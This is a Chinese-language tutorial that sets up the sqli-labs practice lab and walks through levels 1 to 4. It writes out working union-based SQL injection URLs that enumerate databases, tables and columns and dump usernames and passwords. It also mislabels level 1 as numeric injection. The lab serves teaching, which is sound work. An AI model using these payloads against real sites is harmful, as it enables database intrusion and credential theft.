目录

(一)搭建 sqli-labs 靶场

(二)一些基础知识

(三)sqli-labs的第一关至第四关笔记

(1)第一关 

(2)第二关

(3)第三关

(4)第四关


sqli-labs 是一款基于 sql 注入的游戏教程,有利于更好地了解 sql 注入的语法。

(一)搭建 sqli-labs 靶场

搭建 sqli-labs 靶场前首先要下载 phpstudy

phpstudy下载链接:https://www.xp.cn

要保证安装路径中不能有空格和中文。

下载完成后:

可以对 root 数据库进行修改密码或创建数据库,然后在软件管理里面下载 php 5.6.9,因为sqli-labs不支持php7以上的版本,所以需要下载5.x版本

sqli-labs 项目的下载地址为:https://github.com/Audi-1/sqli-labs

有些朋友如果无法打开Github可以参考这篇文章:解决windows10访问github官网进不去的问题 - 空_白/ - 博客园 (cnblogs.com)

进入后点击

进行下载。

下载完成后,将之前下载的源码解压到web目录下,windows下的phpstuudy解压在www目录下。

接着修改sqli-labs里面的账号密码 

右键 db-creds.inc 选择编辑模式 ,修改密码

这里的密码就是phpstudy 里面数据库的账号密码,如果没有改动就是root

启动主页面的 apache 和 mysql

如果都变绿了就代表成功了。

打开谷歌输入 http://127.0.0.1/sqli-labs-master/

点第一个创建数据库,注意如果你的php版本不是5.x会出错!!!

如果出现的页面如图所示就代表创建成功了。

 这里推荐一个Google的插件hackbar,比较好用,当然直接在搜索栏改也可以的。

谷歌与火狐Hackbar插件下载与安装 - 菜鸟-传奇 - 博客园 (cnblogs.com)

好了,准备工作做好了可以开始第一关的练习了。
 

(二)一些基础知识

(1)如何进入 mysql 界面?

点击 mysql 

在 MySQL 文件里进入 bin,打开 cmd命令行,调到当前页面输入 mysql -u root -p,然后回车

输入自己的密码回车,进入 mysql 命令行 

所有mysql执行语句后面都要加";"

进入后可以先看数据库名称:show databases;
切换数据库:use security;

mysql里的元数据库:information_schema #用于存放mysql的所有数据

mysql里的元数据表:table 表:主要是记录 Mysql 当中的所库及所有表,表的字段 table_schema(用于记录库名)table_name(用于记录表名)


mysql简单基本用法:
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema="security"
查列:select column_name from information_schema.columns where table_name="users"
查字段:select username,password from security.users

(三)sqli-labs的第一关至第四关笔记

(1)第一关 

(新手:为了便于新手更加直观的看到 sql 注入的语句

编辑php文件:

 在sql 语句下面加入两句:

echo $sql;		# 将构造的 sql 语句进行输出
echo "<br>";	# 换行输出

这样在页面中会显示你的 sql 注入语句,十分清晰。以后每关都可以这样修改)

来到第一关:

输入不同的id值发现页面中回显的内容不同,说明存在注入漏洞,再判断漏洞类型:

http://127.0.0.1/sqli-labs-master/Less-1/?id=2'

 

 发现下面一行报错信息中判断为数字型注入,再输入

http://127.0.0.1/sqli-labs-master/Less-1/?id=2'--+

 是因为“--+”这个符号代表注释的意思,表示将“--+”后面的语句注释掉了,不再执行。

再来判断字段数:

http://127.0.0.1/sqli-labs-master/Less-1/?id=2' order by 1--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=2' order by 2--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=2' order by 3--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=2' order by 4--+

依次执行,发现到4的时候报错

说明字段数为3,即有3列。

可以在 mysql 命令行中看一下:

 

 对比上面两张图可以发现,按第一列排和按第二列排有明显的区别

所以可以看出有3列。

 之后使用联合查询:

http://127.0.0.1/sqli-labs-master/Less-1/?id=2' union select 1,2,3--+

发现页面数据没有变化,应该将前面的id值改为一个不存在的值,比如-1 

从返回的结果看到这两个有回显,可以利用。

查库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata--+

这里选择的回显位置是3,所以把3替换掉了,2也可以作为回显位置。

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,2,schema_name from information_schema.schemata limit 1,1--+

在后面加上limit之后输出不同的库名,比如

limit 0,1--+    mysql
limit 1,1--+    information_schema
limit 2,1--+    performance_schema

等等。

但是这种方法太慢了,可以使用一个函数 group_concat() 快速获取

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,2,group_concat(schema_name) from information_schema.schemata--+

我们要取 security 库中的表

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+

where 语句对其进行限定,这里不建议使用“security”,因为会引入引号等问题,推荐使用16进制

16进制前面要加上0x,后面的security可以在hackbar中

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

 最后执行结果相同。

接下来取users表里面的数据

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

爆数据

这里推荐另一个函数,concat_ws("",A,B),最后的输出形式为 A~B,有利于用户名和密码对应。

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws("~",username,password)) from security.users--+

 结合一下两个函数可以很清晰的看到结果。

同样,这里也推荐将“~”改为16进制:0x7e

到此为止,第一关通过。

建议将第一关弄懂后再看下面两关,会非常简单

(2)第二关

http://127.0.0.1/sqli-labs-master/Less-2/?id=1
http://127.0.0.1/sqli-labs-master/Less-2/?id=1’

可以看出是数字型注入。因为没有引号,所以后面不需要“--+”来注释

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4

 

 同样为3列。

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users

(3)第三关

http://127.0.0.1/sqli-labs-master/Less-3/?id=1
http://127.0.0.1/sqli-labs-master/Less-3/?id=1')--+

将后面的“)”注释后,就可以执行中间的语句了。

http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 4--+
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,3--+
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata--+
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+

(4)第四关

http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4--+

后面的和之前一个套路

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐